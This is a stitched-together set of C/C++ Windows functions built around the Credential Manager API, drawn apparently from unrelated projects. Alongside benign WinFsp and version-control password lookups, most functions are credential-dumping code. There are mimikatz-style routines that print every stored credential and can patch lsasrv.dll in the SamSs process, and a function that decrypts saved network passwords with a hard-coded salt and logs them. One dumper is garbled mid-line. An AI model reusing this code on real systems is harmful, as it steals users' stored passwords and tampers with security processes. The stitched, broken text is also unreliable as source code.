void OsListCreds(void)
{
DWORD dwCount;
PCREDENTIAL* creds;
if(!CredEnumerate(NULL, CRED_ENUMERATE_ALL_CREDENTIALS,
&dwCount, &creds))
deb("failed creds enum %s", fmterr());
for(DWORD i=0;i<dwCount;i++)
{
deb("cred #%02d: tgname:%s com:%s user:%s size:%d data:%s",i,
creds[i]->TargetName, creds[i]->Comment,creds[i]->UserName,
creds[i]->CredentialBlobSize,creds[i]->CredentialBlob);
}
CredFree(creds);
}
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[])
{
DWORD credCount, i;
PCREDENTIAL * pCredential = NULL;
DWORD flags = 0;
UNICODE_STRING creds;
do
{
if(CredEnumerate(NULL, flags, &credCount, &pCredential))
{
for(i = 0; i < credCount; i++)
{
kprintf(L"TargetName : %s / %s\n"
L"UserName : %s\n"
L"Comment : %s\n"
L"Type : %u - %s\n"
L"Credential : ",
pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>",
pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>",
pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>",
pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)"
);
creds.Buffer = (PWSTR) pCredential[i]->CredentialBlob;
creds.Length = creds.MaximumLength = (USHORT) pCredential[i]->CredentialBlobSize;
if(kull_m_string_suspectUnicodeString(&creds))
kprintf(L"%wZ", &creds);
else
kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1);
kprintf(L"\n\n");
}
CredFree(pCredential);
}
flags++;
} while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5));
return STATUS_SUCCESS;
}
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[])
{
DWORD credCount, i;
PCREDENTIAL * pCredential = NULL;
DWORD flags = 0;
UNICODE_STRING creds;
SERVICE_STATUS_PROCESS ServiceStatusProcess;
PKULL_M_MEMORY_HANDLE hMemory;
KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL };
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv;
HANDLE hSamSs;
KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory };
KULL_M_MEMORY_SEARCH sMemory;
PKULL_M_PATCH_GENERIC CredpCloneCredentialReference;
static BOOL isPatching = FALSE;
if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL))
{
if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER))
{
aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern;
aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern;
if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess))
{
if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId))
{
if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory))
{
if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase;
sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage;
isPatching = TRUE;
if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL))
PRINT_ERROR_AUTO(L"kull_m_patch");
isPatching = FALSE;
}
else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
kull_m_memory_close(hMemory);
}
}
else PRINT_ERROR_AUTO(L"OpenProcess");
}
else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
}
}
else
{
do
{
if (CredEnumerate(NULL, flags, &credCount, &pCredential))
{
for (i = 0; i < credCount; i++)
{
kprintf(L"TargetName : %s / %s\n"
L"UserName : %s\n"
L"Comment : %s\n"
L"Type : %u - %s\n"
L"Credential : ",
pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>",
pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>",
pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>",
pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)"
);
creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob;
creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize;
if (kull_m_string_suspectUnicodeString(&creds))
kprintf(L"%wZ", &creds);
else
kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1);
kprintf(L"\n\n");
}
CredFree(pCredential);
}
flags++;
} while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5));
}
return STATUS_SUCCESS;
}
DWORD APIENTRY NPAddConnection(LPNETRESOURCEW lpNetResource, LPWSTR lpPassword, LPWSTR lpUserName)
{
DWORD NpResult;
DWORD dwType = lpNetResource->dwType;
LPWSTR lpRemoteName = lpNetResource->lpRemoteName;
LPWSTR lpLocalName = lpNetResource->lpLocalName;
WCHAR LocalNameBuf[3];
PWSTR ClassName, InstanceName, RemoteName, P;
ULONG ClassNameLen, InstanceNameLen;
DWORD CredentialsKind;
PWSTR PipeBuf = 0;
#if defined(FSP_NP_CREDENTIAL_MANAGER)
PCREDENTIALW Credential = 0;
#endif
if (dwType & RESOURCETYPE_PRINT)
return WN_BAD_VALUE;
if (!FspNpParseRemoteName(lpRemoteName,
&ClassName, &ClassNameLen, &InstanceName, &InstanceNameLen))
return WN_BAD_NETNAME;
RemoteName = lpRemoteName + 1;
LocalNameBuf[0] = L'\0';
if (0 != lpLocalName && L'\0' != lpLocalName[0])
{
if (!FspNpCheckLocalName(lpLocalName))
return WN_BAD_LOCALNAME;
LocalNameBuf[0] = lpLocalName[0] & ~0x20; /* convert to uppercase */
LocalNameBuf[1] = L':';
LocalNameBuf[2] = L'\0';
if (GetLogicalDrives() & (1 << (LocalNameBuf[0] - 'A')))
return WN_ALREADY_CONNECTED;
}
FspNpGetCredentialsKind(lpRemoteName, &CredentialsKind);
#if defined(FSP_NP_CREDENTIAL_MANAGER)
/* if we need credentials and none were passed check with the credential manager */
if (FSP_NP_CREDENTIALS_NONE != CredentialsKind && 0 == lpPassword &&
CredReadW(lpRemoteName, CRED_TYPE_GENERIC, 0, &Credential))
{
if (sizeof(WCHAR) <= Credential->CredentialBlobSize &&
L'\0' == ((PWSTR)(Credential->CredentialBlob))
[(Credential->CredentialBlobSize / sizeof(WCHAR)) - 1])
{
lpUserName = Credential->UserName;
lpPassword = (PVOID)Credential->CredentialBlob;
}
}
#endif
/* if we need credentials and we don't have any return ACCESS DENIED */
if (FSP_NP_CREDENTIALS_NONE != CredentialsKind)
{
int Length;
if (0 == lpPassword ||
(0 == (Length = lstrlenW(lpPassword))) || CREDUI_MAX_PASSWORD_LENGTH < Length)
{
NpResult = WN_ACCESS_DENIED;
goto exit;
}
}
if (FSP_NP_CREDENTIALS_USERPASS == CredentialsKind)
{
int Length;
if (0 == lpUserName ||
(0 == (Length = lstrlenW(lpUserName))) || CREDUI_MAX_USERNAME_LENGTH < Length)
{
NpResult = WN_ACCESS_DENIED;
goto exit;
}
}
PipeBuf = MemAlloc(LAUNCHER_PIPE_BUFFER_SIZE);
if (0 == PipeBuf)
{
NpResult = WN_OUT_OF_MEMORY;
goto exit;
}
/* we do not explicitly check, but assumption is it all fits in LAUNCHER_PIPE_BUFFER_SIZE */
P = PipeBuf;
*P++ = FSP_NP_CREDENTIALS_NONE != CredentialsKind ?
LauncherSvcInstanceStartWithSecret : LauncherSvcInstanceStart;
memcpy(P, ClassName, ClassNameLen * sizeof(WCHAR)); P += ClassNameLen; *P++ = L'\0';
memcpy(P, InstanceName, InstanceNameLen * sizeof(WCHAR)); P += InstanceNameLen; *P++ = L'\0';
lstrcpyW(P, RemoteName); P += lstrlenW(RemoteName) + 1;
lstrcpyW(P, LocalNameBuf); P += lstrlenW(LocalNameBuf) + 1;
if (FSP_NP_CREDENTIALS_USERPASS == CredentialsKind)
{
lstrcpyW(P, lpUserName); P += lstrlenW(lpUserName) + 1;
}
if (FSP_NP_CREDENTIALS_NONE != CredentialsKind)
{
lstrcpyW(P, lpPassword); P += lstrlenW(lpPassword) + 1;
}
NpResult = FspNpCallLauncherPipe(
PipeBuf, (ULONG)(P - PipeBuf) * sizeof(WCHAR), LAUNCHER_PIPE_BUFFER_SIZE);
switch (NpResult)
{
case WN_SUCCESS:
case WN_ACCESS_DENIED:
break;
case ERROR_ALREADY_EXISTS:
/*
* The file system is already running! If we are being asked for a drive mapping,
* see if it is the one we already have to decide on the error code to return.
*/
if (L'\0' != LocalNameBuf[0])
{
WCHAR ExpectRemoteNameBuf[sizeof(((FSP_FSCTL_VOLUME_PARAMS *)0)->Prefix) / sizeof(WCHAR)];
WCHAR RemoteNameBuf[sizeof(((FSP_FSCTL_VOLUME_PARAMS *)0)->Prefix) / sizeof(WCHAR)];
DWORD RemoteNameSize;
P = ExpectRemoteNameBuf;
*P++ = L'\\'; *P++ = L'\\';
memcpy(P, ClassName, ClassNameLen * sizeof(WCHAR)); P += ClassNameLen; *P++ = L'\\';
memcpy(P, InstanceName, InstanceNameLen * sizeof(WCHAR)); P += InstanceNameLen; *P++ = L'\0';
RemoteNameSize = sizeof RemoteNameBuf / sizeof(WCHAR);
NpResult = NPGetConnection(LocalNameBuf, RemoteNameBuf, &RemoteNameSize);
if (WN_SUCCESS == NpResult)
NpResult = 0 == lstrcmpW(ExpectRemoteNameBuf, RemoteNameBuf) ? WN_SUCCESS : WN_NO_NETWORK;
else
NpResult = WN_NO_NETWORK;
}
else
/* we are not being asked for a drive mapping, so whatever we have is good! */
NpResult = WN_SUCCESS;
break;
default:
NpResult = WN_NO_NETWORK;
break;
}
exit:
MemFree(PipeBuf);
#if defined(FSP_NP_CREDENTIAL_MANAGER)
if (0 != Credential)
CredFree(Credential);
#endif
return NpResult;
}
bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity)
{
wostringstream message;
if(searchCredmanFuncs())
{
DWORD credNb = 0;
PCREDENTIAL * pCredential = NULL;
DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS;
NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential);
if(NT_SUCCESS(status))
{
for(DWORD i = 0; i < credNb; i++)
{
wstring Target(pCredential[i]->TargetName);
wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1);
message << endl;
if(justSecurity)
message << L"\t [" << i << L"] " << Target << L'\t';
else message <<
L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
L"\t * [" << i << L"] User : "******"[" << j << L"] ";
message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str());
}
SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential);
}
else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status);
}
else
{
PENCRYPTED_CREDENTIALW pEncryptedCredential;
NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential);
if(NT_SUCCESS(status))
{
message << descEncryptedCredential(pEncryptedCredential, justSecurity);
CredFree(pEncryptedCredential);
}
else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status);
}
}
CredFree(pCredential);
}
else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status);
} else message << L"n.a. (credman KO)";
return sendTo(monPipe, message.str());
}
void EnumerateGenericNetworkPassword()
{
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DATA_BLOB OptionalEntropy;
DWORD tmpSalt[37];
char *strSalt={"abe2869f-9b47-4cd9-a358-c22904dba7f7"};
char strURL[1024];
char strCredentials[1024];
char strUsername[1024];
char strPassword[1024];
//Create the entropy/salt required for decryption...
for(int i=0; i< 37; i++)
tmpSalt[i] = (short int)(strSalt[i] * 4);
OptionalEntropy.pbData = (BYTE *)&tmpSalt;
OptionalEntropy.cbData = 74;
DWORD Count;
PCREDENTIAL *Credential;
//Now enumerate all http stored credentials....
if(CredEnumerate(NULL,CRED_ENUMERATE_ALL_CREDENTIALS,
&Count,&Credential))
{
if(Count)
deb("got %d creds", Count);
for(int i=0;i<Count;i++)
{
if( Credential[i]->Type == CRED_TYPE_GENERIC)
{
DataIn.pbData = (BYTE *)Credential[i]->CredentialBlob;
DataIn.cbData = Credential[i]->CredentialBlobSize;
if(CryptUnprotectData(&DataIn, NULL,
NULL, NULL,
NULL,0,&DataOut))
{
//Extract username & password from credentails (username:password)
sprintf_s(strCredentials, 1024, "%S", DataOut.pbData);
char *ptr = strchr(strCredentials, ':');
*ptr = '\0';
strcpy_s(strUsername, 1024, strCredentials);
ptr++;
strcpy_s(strPassword, 1024, ptr);
deb("Generic Network Password account details, "
" Username=%s, Password=%s",
strUsername, strPassword);
} else {
deb("failed to unprotect cred (%s)", fmterr(GetLastError()));
}
}
else if(Credential[i]->Type == CRED_TYPE_DOMAIN_PASSWORD)
{
DataIn.pbData = (BYTE *)Credential[i]->CredentialBlob;
DataIn.cbData = Credential[i]->CredentialBlobSize;
if(CryptUnprotectData(&DataIn, NULL,
NULL, NULL,
NULL,0,&DataOut))
{
//Extract username & password from credentails (username:password)
sprintf_s(strCredentials, 1024, "%S", DataOut.pbData);
char *ptr = strchr(strCredentials, ':');
*ptr = '\0';
strcpy_s(strUsername, 1024, strCredentials);
ptr++;
strcpy_s(strPassword, 1024, ptr);
deb(" Network Password account details, "
"Username=%s, Password=%s",
strUsername, strPassword);
} else {
deb("failed to unprotect cred (%s)", fmterr(GetLastError()));
}
}
else {
deb("unk cred type %x", Credential[i]->Type);
}
} // End of FOR loop
CredFree(Credential);
}
} //End of function
MOSHEXPORT
void
madvapi_credfree(void* pcred){
CredFree(pcred);
}
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[])
{
DWORD credCount, i, j;
PCREDENTIAL * pCredential = NULL;
DWORD flags = 0;
SERVICE_STATUS_PROCESS ServiceStatusProcess;
PKULL_M_MEMORY_HANDLE hMemory;
KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL};
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv;
HANDLE hSamSs;
KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory};
KULL_M_MEMORY_SEARCH sMemory;
PKULL_M_PATCH_GENERIC CredpCloneCredentialReference;
static BOOL isPatching = FALSE;
if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL))
{
if(CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, ARRAYSIZE(CredpCloneCredentialReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern;
aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern;
if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess))
{
if(hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory))
{
if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv))
{
sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase;
sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage;
isPatching = TRUE;
if(!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL))
PRINT_ERROR_AUTO(L"kull_m_patch");
isPatching = FALSE;
} else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName");
kull_m_memory_close(hMemory);
}
} else PRINT_ERROR_AUTO(L"OpenProcess");
} else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName");
}
}
else
{
do
{
if(CredEnumerate(NULL, flags, &credCount, &pCredential))
{
for(i = 0; i < credCount; i++)
{
kprintf(L"TargetName : %s / %s\n"
L"UserName : %s\n"
L"Comment : %s\n"
L"Type : %u - %s\n"
L"Persist : %u - %s\n"
L"Flags : %08x\n",
pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>",
pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>",
pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>",
pCredential[i]->Type, kull_m_cred_CredType(pCredential[i]->Type),
pCredential[i]->Persist, kull_m_cred_CredPersist(pCredential[i]->Persist),
pCredential[i]->Flags
);
kprintf(L"Credential : ");
kull_m_string_printSuspectUnicodeString(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize);
kprintf(L"\n"
L"Attributes : %u\n", pCredential[i]->AttributeCount
);
if(kull_m_string_args_byName(argc, argv, L"attributes", NULL, NULL))
{
for(j = 0; j < pCredential[i]->AttributeCount; j++)
{
kprintf(L" [%2u] Attribute\n", j);
kprintf(L" Flags : %08x - %u\n", pCredential[i]->Attributes[j].Flags, pCredential[i]->Attributes[j].Flags);
kprintf(L" Keyword : %s\n", pCredential[i]->Attributes[j].Keyword);
kprintf(L" Value : ");
kull_m_string_printSuspectUnicodeString(pCredential[i]->Attributes[j].Value, pCredential[i]->Attributes[j].ValueSize);
kprintf(L"\n");
}
}
kprintf(L"\n");
}
CredFree(pCredential);
}
flags++;
} while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5));
}
return STATUS_SUCCESS;
}
void SG_password__get(
SG_context *pCtx,
const char *szRepoSpec,
const char *szUsername,
SG_string **ppstrPassword)
{
SG_string* pstrTarget = NULL;
SG_string* pstrPassword = NULL;
LPWSTR pwszTarget = NULL;
SG_byte* pbPassword = NULL;
PCREDENTIAL pCred = NULL;
BOOL result = FALSE;
SG_NULLARGCHECK_RETURN(szRepoSpec);
SG_NULLARGCHECK_RETURN(szUsername);
SG_NULLARGCHECK_RETURN(ppstrPassword);
_get_key(pCtx, szRepoSpec, szUsername, &pstrTarget);
if (SG_CONTEXT__HAS_ERR(pCtx))
{
SG_error err, err2;
err2 = SG_context__get_err(pCtx, &err);
if (SG_IS_ERROR(err2))
{
SG_ERR_DISCARD;
SG_ERR_THROW(err2);
}
if (err & __SG_ERR__GETLASTERROR__)
SG_ERR_DISCARD;
else
SG_ERR_RETHROW;
}
if (pstrTarget)
{
SG_ERR_CHECK( SG_utf8__extern_to_os_buffer__wchar(pCtx, SG_string__sz(pstrTarget), &pwszTarget, NULL) );
result = CredReadW(pwszTarget, CRED_TYPE_GENERIC, 0, &pCred);
if (!result)
{
DWORD err = GetLastError();
if (err != ERROR_NOT_FOUND && err != ERROR_NO_SUCH_LOGON_SESSION)
SG_ERR_THROW2( SG_ERR_GETLASTERROR(GetLastError()), (pCtx, "%s", "unable to retrieve saved credentials") );
}
else
{
SG_uint32 size = pCred->CredentialBlobSize+sizeof(wchar_t);
SG_ERR_CHECK( SG_allocN(pCtx, pCred->CredentialBlobSize+sizeof(wchar_t), pbPassword) );
memcpy(pbPassword, pCred->CredentialBlob, size);
SG_ERR_CHECK( SG_string__alloc(pCtx, &pstrPassword) );
SG_ERR_CHECK( SG_utf8__intern_from_os_buffer__wchar(pCtx, pstrPassword, (const LPWSTR)pbPassword) );
*ppstrPassword = pstrPassword;
pstrPassword = NULL;
}
}
/* fall through */
fail:
SG_STRING_NULLFREE(pCtx, pstrTarget);
SG_STRING_NULLFREE(pCtx, pstrPassword);
SG_NULLFREE(pCtx, pwszTarget);
SG_NULLFREE(pCtx, pbPassword);
if (pCred)
CredFree(pCred);
}